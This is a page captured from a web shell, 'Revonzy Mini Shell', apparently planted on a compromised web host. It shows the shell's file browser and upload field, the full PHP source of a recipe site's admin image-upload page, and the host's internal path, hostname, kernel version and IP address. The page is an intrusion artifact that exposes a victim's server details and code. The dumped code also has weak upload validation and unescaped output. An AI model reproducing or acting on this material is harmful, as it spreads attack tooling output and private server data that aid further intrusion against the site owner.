Revonzy Mini Shell

Revonzy Mini Shell

Şuanki Dizin: /home/wwwdreamtechnolo/public_html/kitchenfoodrecipes.com/dt_admin/
Dosya Yükle :
Şuanki Dosya : /home/wwwdreamtechnolo/public_html/kitchenfoodrecipes.com/dt_admin/edit-image-report.php

<?php
    require_once('lib/functions.php');
	$db = new login_function();
	$flag = 0;
	$var_edit_id = 0;
	
	
         $id				        =	"";
		$question			        =	"";
		$option1			        =   "";
		$option2		            =	"";
		$option3 	                =	"";
		$option4               	    =	"";
		$select_image_ans_option    =	"";
		$date				        =	"";
		$time				        =	"";
		$var_edit_id				=	"";
		$success_message = 0;
 	if(isset($_GET['edit_id']))
	{ 
		$var_edit_id					=	$_GET['edit_id'];
		$_SESSION['session_edit_id']	=	$var_edit_id;	
	}
	else if(isset($_SESSION['session_edit_id']))
	{ 
		$var_edit_id	=	$_SESSION['session_edit_id'];
	}
	
	if(isset($_POST['submit-question']))
	{
		
		$id                  		=    $_SESSION['session_edit_id'];
		if ($flag ==0)
		{
			//Allowed extensions to upload file
			$valid_formats = array("jpg","png","gif","bmp","jpeg","pdf","JPEG","JPG","BMP","PNG","GIF","PDF");
	
		//Check Post method
		if(isset($_POST) and $_SERVER['REQUEST_METHOD'] == "POST")
		{	
			//Get name of choosen file
			$name 				= 	$_FILES['question']['name'];
			//Get Size of choosen file
			$size 				= 	$_FILES['question']['size'];
			
			//If file name is greater than 0 then execute if loop
			if(strlen($name))
			{				
					//Separate the extension and text name of file in separate variables
					list($txt, $ext) = explode(".", $name);
					
					//Check, if the extension is allowed in formats
					if(in_array($ext,$valid_formats))
					{

					//Generate random name function for file
					function generateRandomString($length = 10) 
					{
					$characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
					$charactersLength = strlen($characters);
					$randomString = '';
					for ($i = 0; $i < $length; $i++) 
					{
						$randomString .= $characters[rand(0, $charactersLength - 1)];
					}
					return $randomString;
				    }
						
						//Call random name function and store in variable
						$current_random_string = generateRandomString();
						
						//Join the Variables to Make Complete name of file
						$question = $current_random_string.".".strtolower($ext);					
						
						//Catch the temporary location of choosen file or path
						$temp_question= $_FILES['question']['tmp_name'];
						
						//Specify folder where to upload the posted image file
						$img_Dir = "attachment/";
						
						//Check if folder exist or not
						if(!file_exists($img_Dir))
						{
							//If foldwer not exist, make the folder
							mkdir($img_Dir);
						}
						
						//Copy the file from temp location or from path to your specified path
						if(move_uploaded_file($temp_question,$img_Dir.$question))
						{
							$success_message = 1;
						}
						else
						{
							$image_error	=	"failed" ;
							$flag				=	1;
						}	
					}
					else
					{
						$image_error	= "Invalid file format";
						$flag				=	1;	
					}	
			}	
		}

	}
}
		if($db->update_image_question($id, $question))
		{ 
				$success_msg	=	3;
		}
	if(isset($_POST['submit-option1']))
	{ echo 11;
		
		$id                  		=    $_SESSION['session_edit_id'];
		if ($flag ==0)
		{
			//Allowed extensions to upload file
			$valid_formats = array("jpg","png","gif","bmp","jpeg","pdf","JPEG","JPG","BMP","PNG","GIF","PDF");
	
		//Check Post method
		if(isset($_POST) and $_SERVER['REQUEST_METHOD'] == "POST")
		{	
			//Get name of choosen file
			$name 				= 	$_FILES['option1']['name'];
			//Get Size of choosen file
			$size 				= 	$_FILES['option1']['size'];
			
			//If file name is greater than 0 then execute if loop
			if(strlen($name))
			{				
					//Separate the extension and text name of file in separate variables
					list($txt, $ext) = explode(".", $name);
					
					//Check, if the extension is allowed in formats
					if(in_array($ext,$valid_formats))
					{

					//Generate random name function for file
					function generateRandomString($length = 10) 
					{
					$characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
					$charactersLength = strlen($characters);
					$randomString = '';
					for ($i = 0; $i < $length; $i++) 
					{
						$randomString .= $characters[rand(0, $charactersLength - 1)];
					}
					return $randomString;
				    }
						
						//Call random name function and store in variable
						$current_random_string = generateRandomString();
						
						//Join the Variables to Make Complete name of file
						$option1 = $current_random_string.".".strtolower($ext);					
						
						//Catch the temporary location of choosen file or path
						$temp_option1 = $_FILES['option1']['tmp_name'];
						
						//Specify folder where to upload the posted image file
						$img_Dir = "attachment/";
						
						//Check if folder exist or not
						if(!file_exists($img_Dir))
						{
							//If foldwer not exist, make the folder
							mkdir($img_Dir);
						}
						
						//Copy the file from temp location or from path to your specified path
						if(move_uploaded_file($temp_option1,$img_Dir.$option1))
						{
							$success_message = 1;
						}
						else
						{
							$image_error	=	"failed" ;
							$flag				=	1;
						}	
					}
					else
					{
						$image_error	= "Invalid file format";
						$flag				=	1;	
					}	
			}	
		}

	}
}
	if(isset($_POST['submit-option2']))
	{ echo 22;
		
		$id                  		=    $_SESSION['session_edit_id'];
		if ($flag ==0)
		{
			//Allowed extensions to upload file
			$valid_formats = array("jpg","png","gif","bmp","jpeg","pdf","JPEG","JPG","BMP","PNG","GIF","PDF");
	
		//Check Post method
		if(isset($_POST) and $_SERVER['REQUEST_METHOD'] == "POST")
		{	
			//Get name of choosen file
			$name 				= 	$_FILES['option2']['name'];
			//Get Size of choosen file
			$size 				= 	$_FILES['option2']['size'];
			
			//If file name is greater than 0 then execute if loop
			if(strlen($name))
			{				
					//Separate the extension and text name of file in separate variables
					list($txt, $ext) = explode(".", $name);
					
					//Check, if the extension is allowed in formats
					if(in_array($ext,$valid_formats))
					{

					//Generate random name function for file
					function generateRandomString($length = 10) 
					{
					$characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
					$charactersLength = strlen($characters);
					$randomString = '';
					for ($i = 0; $i < $length; $i++) 
					{
						$randomString .= $characters[rand(0, $charactersLength - 1)];
					}
					return $randomString;
				    }
						
						//Call random name function and store in variable
						$current_random_string = generateRandomString();
						
						//Join the Variables to Make Complete name of file
						$option2 = $current_random_string.".".strtolower($ext);					
						
						//Catch the temporary location of choosen file or path
						$temp_option2 = $_FILES['option2']['tmp_name'];
						
						//Specify folder where to upload the posted image file
						$img_Dir = "attachment/";
						
						//Check if folder exist or not
						if(!file_exists($img_Dir))
						{
							//If foldwer not exist, make the folder
							mkdir($img_Dir);
						}
						
						//Copy the file from temp location or from path to your specified path
						if(move_uploaded_file($temp_option2,$img_Dir.$option2))
						{
							$success_message = 1;
						}
						else
						{
							$image_error	=	"failed" ;
							$flag				=	1;
						}	
					}
					else
					{
						$image_error	= "Invalid file format";
						$flag				=	1;	
					}	
			}	
		}

	}
}
	if(isset($_POST['submit-option3']))
	{
		echo 33;
		$id                  		=    $_SESSION['session_edit_id'];
		if ($flag ==0)
		{
			//Allowed extensions to upload file
			$valid_formats = array("jpg","png","gif","bmp","jpeg","pdf","JPEG","JPG","BMP","PNG","GIF","PDF");
	
		//Check Post method
		if(isset($_POST) and $_SERVER['REQUEST_METHOD'] == "POST")
		{	
			//Get name of choosen file
			$name 				= 	$_FILES['option3']['name'];
			//Get Size of choosen file
			$size 				= 	$_FILES['option3']['size'];
			
			//If file name is greater than 0 then execute if loop
			if(strlen($name))
			{				
					//Separate the extension and text name of file in separate variables
					list($txt, $ext) = explode(".", $name);
					
					//Check, if the extension is allowed in formats
					if(in_array($ext,$valid_formats))
					{

					//Generate random name function for file
					function generateRandomString($length = 10) 
					{
					$characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
					$charactersLength = strlen($characters);
					$randomString = '';
					for ($i = 0; $i < $length; $i++) 
					{
						$randomString .= $characters[rand(0, $charactersLength - 1)];
					}
					return $randomString;
				    }
						
						//Call random name function and store in variable
						$current_random_string = generateRandomString();
						
						//Join the Variables to Make Complete name of file
						$option3 = $current_random_string.".".strtolower($ext);					
						
						//Catch the temporary location of choosen file or path
						$temp_option3 = $_FILES['option3']['tmp_name'];
						
						//Specify folder where to upload the posted image file
						$img_Dir = "attachment/";
						
						//Check if folder exist or not
						if(!file_exists($img_Dir))
						{
							//If foldwer not exist, make the folder
							mkdir($img_Dir);
						}
						
						//Copy the file from temp location or from path to your specified path
						if(move_uploaded_file($temp_option3,$img_Dir.$option3))
						{
							$success_message = 1;
						}
						else
						{
							$image_error	=	"failed" ;
							$flag				=	1;
						}	
					}
					else
					{
						$image_error	= "Invalid file format";
						$flag				=	1;	
					}	
			}	
		}

	}
}
	if(isset($_POST['submit-option4']))
	{
		$id                  		=    $_SESSION['session_edit_id'];
		if ($flag ==0)
		{
			//Allowed extensions to upload file
			$valid_formats = array("jpg","png","gif","bmp","jpeg","pdf","JPEG","JPG","BMP","PNG","GIF","PDF");
	
		//Check Post method
		if(isset($_POST) and $_SERVER['REQUEST_METHOD'] == "POST")
		{	
			//Get name of choosen file
			$name 				= 	$_FILES['option4']['name'];
			//Get Size of choosen file
			$size 				= 	$_FILES['option4']['size'];
			
			//If file name is greater than 0 then execute if loop
			if(strlen($name))
			{				
					//Separate the extension and text name of file in separate variables
					list($txt, $ext) = explode(".", $name);
					
					//Check, if the extension is allowed in formats
					if(in_array($ext,$valid_formats))
					{

					//Generate random name function for file
					function generateRandomString($length = 10) 
					{
					$characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
					$charactersLength = strlen($characters);
					$randomString = '';
					for ($i = 0; $i < $length; $i++) 
					{
						$randomString .= $characters[rand(0, $charactersLength - 1)];
					}
					return $randomString;
				    }
						
						//Call random name function and store in variable
						$current_random_string = generateRandomString();
						
						//Join the Variables to Make Complete name of file
						$option4 = $current_random_string.".".strtolower($ext);					
						
						//Catch the temporary location of choosen file or path
						$temp_option4 = $_FILES['option4']['tmp_name'];
						
						//Specify folder where to upload the posted image file
						$img_Dir = "attachment/";
						
						//Check if folder exist or not
						if(!file_exists($img_Dir))
						{
							//If foldwer not exist, make the folder
							mkdir($img_Dir);
						}
						
						//Copy the file from temp location or from path to your specified path
						if(move_uploaded_file($temp_option4,$img_Dir.$option4))
						{
							$success_message = 1;
						}
						else
						{
							$image_error	=	"failed" ;
							$flag				=	1;
						}	
					}
					else
					{
						$image_error	= "Invalid file format";
						$flag				=	1;	
					}	
			}	
		}

	}
}
	

		$enquiry_data	=	array();
		$enquiry_data	=	$db->get_image_question_record_from_id($var_edit_id);
		
		if(!empty($enquiry_data))
		{
			$id				      			 =	$enquiry_data[0];
			$question		      			 =	$enquiry_data[1];
			$option1	          			 =	$enquiry_data[2];
			$option2	          			 =	$enquiry_data[3];
			$option3	          			 =	$enquiry_data[4];
			$option4	          			 =	$enquiry_data[5];
			$select_image_ans_option	     =	$enquiry_data[6];
			$date			      			 =	$enquiry_data[7];
			$time		          			 =	$enquiry_data[8];
			
		}
	
?>
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width initial-scale=1.0">
    <title><?php echo $project_title; ?></title>
    <!-- GLOBAL MAINLY STYLES-->
   <link href="css/bootstrap.min.css" rel="stylesheet" />
    <link href="css/font-awesome.min.css" rel="stylesheet" />
    <link href="css/line-awesome.min.css" rel="stylesheet" />
    <link href="css/themify-icons.css" rel="stylesheet" />
    <link href="css/animate.min.css" rel="stylesheet" />
    <link href="css/toastr.min.css" rel="stylesheet" />
    <link href="css/bootstrap-select.min.css" rel="stylesheet" />
	<link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.8.2/css/all.css">
    <!-- PLUGINS STYLES-->
    <!-- THEME STYLES-->
    <link href="css/main.min.css" rel="stylesheet" />
    <!-- PAGE LEVEL STYLES-->
<style>
.col-md-8
{
	width:100%;
	margin:auto;
	margin-top:20px;
}

@media only screen and (max-width: 600px) {
	.col-md-8
	{
		margin:30px;
		width:100%;
	}
	.alert
	{
		width:100%;
	}
	.side-row
	{
		width:49%;
		display:inline-table;
	}
}

</style>
</script>
</head>
<body class="fixed-navbar">
<div class="page-wrapper">
<?php include('header.php'); ?>
<?php include('side-bar.php'); ?>
<div class="content-wrapper">
<div class="row">
<div class="col-md-12">
 <div class="col-md-8">
                        <div class="ibox">
                            <form class="form-pink" method="post" action="<?php echo $_SERVER['PHP_SELF']?>" name="myForm" onsubmit="return validateForm()" autocomplete="off" enctype="multipart/form-data">
							<?php
								if($success_message ==1)
								{
								?>
									<div class="alert alert-success">
									<span class="alert-link">Success!</span>Image has saved.
									</div>
								<?php
								}
								?>	
								<?php
								if($success_message ==2)
								{
								?>
									<div class="alert alert-success">
									<span class="alert-link">Success!</span>Option has saved.
									</div>
								<?php
								}
								?>
								
								<div class="ibox-head">
                                    <div class="ibox-title"> <i class="sidebar-item-icon fas fa-user-cog"></i>Edit Image</div>
                                </div>
                                <div class="ibox-body ">
                                  <div class="form-group mb-4">
								  <label class="form-group mb-4 set-row"><b>Question:</b></label>

									<div class="input-group-icon input-group-icon-left">
										<span class="input-icon input-icon-left"><i class="fas fa-question-circle"></i></span>
										<a href="attachment/<?php echo $question; ?>" target="_blank"><img src="attachment/<?php echo $question; ?>" style=" height:200px; width:200px; margin-left:auto; margin-right:auto;display:block;" /></a>
										<div class="form-group mb-4">
									<div class="input-group-icon input-group-icon-left">
										<span class="input-icon input-icon-left"><i class="fas fa-lock"></i></span>
										<input  type="file" class="form-control form-control-air" placeholder="Select Your Icon Image" value="<?php echo $question; ?>" name="question">
									</div>
								</div>
									</div>
									<div class="ibox-footer">
                                   <center> <button class="btn btn-pink btn-air mr-2" type="submit" name="submit-question"> Update Image Question</button> </center>
                                   
                                </div>
								</div>
								<div class="form-group mb-4">
								  <label class="form-group mb-4 set-row"><b>Option 1</b></label>

									<div class="input-group-icon input-group-icon-left">
										<span class="input-icon input-icon-left"><i class="fas fa-question-circle"></i></span>
										<a href="attachment/<?php echo $option1; ?>" target="_blank"><img src="attachment/<?php echo $option1; ?>" style=" height:200px; width:200px; margin-left:auto; margin-right:auto;display:block;" /></a>
										<div class="form-group mb-4">
									<div class="input-group-icon input-group-icon-left">
										<span class="input-icon input-icon-left"><i class="fas fa-lock"></i></span>
										<input  type="file" class="form-control form-control-air" placeholder="Select Your Icon Image" value="<?php echo $option1; ?>" name="option1">
									</div>
									
								</div>
									</div>
									<div class="ibox-footer">
                                   <center> <button class="btn btn-pink btn-air mr-2" type="submit" name="submit-option1"> Update Option 1</button> </center>
                                   
                                </div>
								</div>
								<div class="form-group mb-4">
								  <label class="form-group mb-4 set-row"><b>Option 2</b></label>

									<div class="input-group-icon input-group-icon-left">
										<span class="input-icon input-icon-left"><i class="fas fa-question-circle"></i></span>
										<a href="attachment/<?php echo $option2; ?>" target="_blank"><img src="attachment/<?php echo $option2; ?>" style=" height:200px; width:200px; margin-left:auto; margin-right:auto;display:block;" /></a>
										<div class="form-group mb-4">
									<div class="input-group-icon input-group-icon-left">
										<span class="input-icon input-icon-left"><i class="fas fa-lock"></i></span>
										<input  type="file" class="form-control form-control-air" placeholder="Select Your Icon Image" value="<?php echo $option2; ?>" name="option2">
									</div>
								</div>
									</div>
									<div class="ibox-footer">
                                   <center> <button class="btn btn-pink btn-air mr-2" type="submit" name="submit-option2"> Update Option 2</button> </center>
                                   
                                </div>
								</div>
								<div class="form-group mb-4">
								  <label class="form-group mb-4 set-row"><b>Option 3</b></label>

									<div class="input-group-icon input-group-icon-left">
										<span class="input-icon input-icon-left"><i class="fas fa-question-circle"></i></span>
										<a href="attachment/<?php echo $option3; ?>" target="_blank"><img src="attachment/<?php echo $option3; ?>" style=" height:200px; width:200px; margin-left:auto; margin-right:auto;display:block;" /></a>
										<div class="form-group mb-4">
									<div class="input-group-icon input-group-icon-left">
										<span class="input-icon input-icon-left"><i class="fas fa-lock"></i></span>
										<input  type="file" class="form-control form-control-air" placeholder="Select Your Icon Image" value="<?php echo $option3; ?>" name="option3"/>
								</div>
									</div>
									<div class="ibox-footer">
                                   <center> <button class="btn btn-pink btn-air mr-2" type="submit" name="submit-option3"> Update Option 3</button> </center>
                                   
                                </div>
								</div>
									<div class="form-group mb-4">
								<label class="form-group mb-4 set-row"><b>Option 4</b></label>

									<div class="input-group-icon input-group-icon-left">
										<span class="input-icon input-icon-left"><i class="fas fa-question-circle"></i></span>
										<a href="attachment/<?php echo $option4; ?>" target="_blank"><img src="attachment/<?php echo $option4; ?>" style=" height:200px; width:200px; margin-left:auto; margin-right:auto;display:block;" /></a>
										<div class="form-group mb-4">
									<div class="input-group-icon input-group-icon-left">
										<span class="input-icon input-icon-left"><i class="fas fa-lock"></i></span>
										<input  type="file" class="form-control form-control-air" placeholder="Select Your Icon Image" value="<?php echo $option4; ?>" name="option4">
									</div>
								</div>
									</div>
									<div class="ibox-footer">
                                   <center> <button class="btn btn-pink btn-air mr-2" type="submit" name="submit-option4"> Update Option 4</button> </center>
                                   
                                </div>									
									</div>
								<div class="form-group mb-4">
									<label class="lbl_dsgn"><i class="fas fa-check-square"></i>  Answer: </label>
									<div class="input-group-icon input-group-icon-left" value="<?php echo $select_image_ans_option; ?>">
									<br/>
										<select name="select_image_ans_option" class="form-control form-control-air">
										<option value="Select Answer"> Select Answer </option>
										<option value="Option1" <?php if($select_image_ans_option=="Option1"){ ?> selected <?php } ?>>Option 1</option>
										<option value="Option2" <?php if($select_image_ans_option=="Option2"){ ?> selected <?php } ?>>Option 2</option>
										<option value="Option3" <?php if($select_image_ans_option=="Option3"){ ?> selected <?php } ?>>Option 3</option>
										<option value="Option4" <?php if($select_image_ans_option=="Option4"){ ?> selected <?php } ?>>Option 4</option>

										</select>
										</div>
									</div>
									<div class="ibox-footer">
                                   <center> <button class="btn btn-pink btn-air mr-2" type="submit" name="submit-update"> Update Image Question</button> </center>
                                   
                                </div>
                            </form>
                        
                        </div>
                    </div>
                </div>
                <?php include('footer.php'); ?>
			</div>
    </div>
    <?php include('search.php'); ?>
    <!-- END SEARCH PANEL-->
    <!-- BEGIN THEME CONFIG PANEL-->
    
    <!-- END THEME CONFIG PANEL-->
    <!-- BEGIN PAGA BACKDROPS-->
    <div class="sidenav-backdrop backdrop"></div>
    <div class="preloader-backdrop">
        <div class="page-preloader">Loading</div>
    </div>
    <!-- END PAGA BACKDROPS-->
    <!-- New question dialog-->
    
    <!-- End New question dialog-->
    <!-- QUICK SIDEBAR-->
    <?php include('right-side-bar.php'); ?>
	
	
   <script src="js/jquery.min.js"></script>
    <script src="js/popper.min.js"></script>
    <script src="js/bootstrap.min.js"></script>
    <script src="js/metisMenu.min.js"></script>
    <script src="js/jquery.slimscroll.min.js"></script>
    <script src="js/idle-timer.min.js"></script>
    <script src="js/toastr.min.js"></script>
    <script src="js/jquery.validate.min.js"></script>
    <script src="js/bootstrap-select.min.js"></script>
    <!-- PAGE LEVEL PLUGINS-->
    <!-- CORE SCRIPTS-->
    <script src="js/app.min.js"></script>
    <!-- PAGE LEVEL SCRIPTS-->
</body>
</html>

EliteHackz.ORG
Revonzy Mini Shell
root@revonzy.com

Linux 65-254-81-4.cprapid.com 5.14.0-284.11.1.el9_2.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 9 05:49:00 EDT 2023 x86_64
Apache
65.254.81.4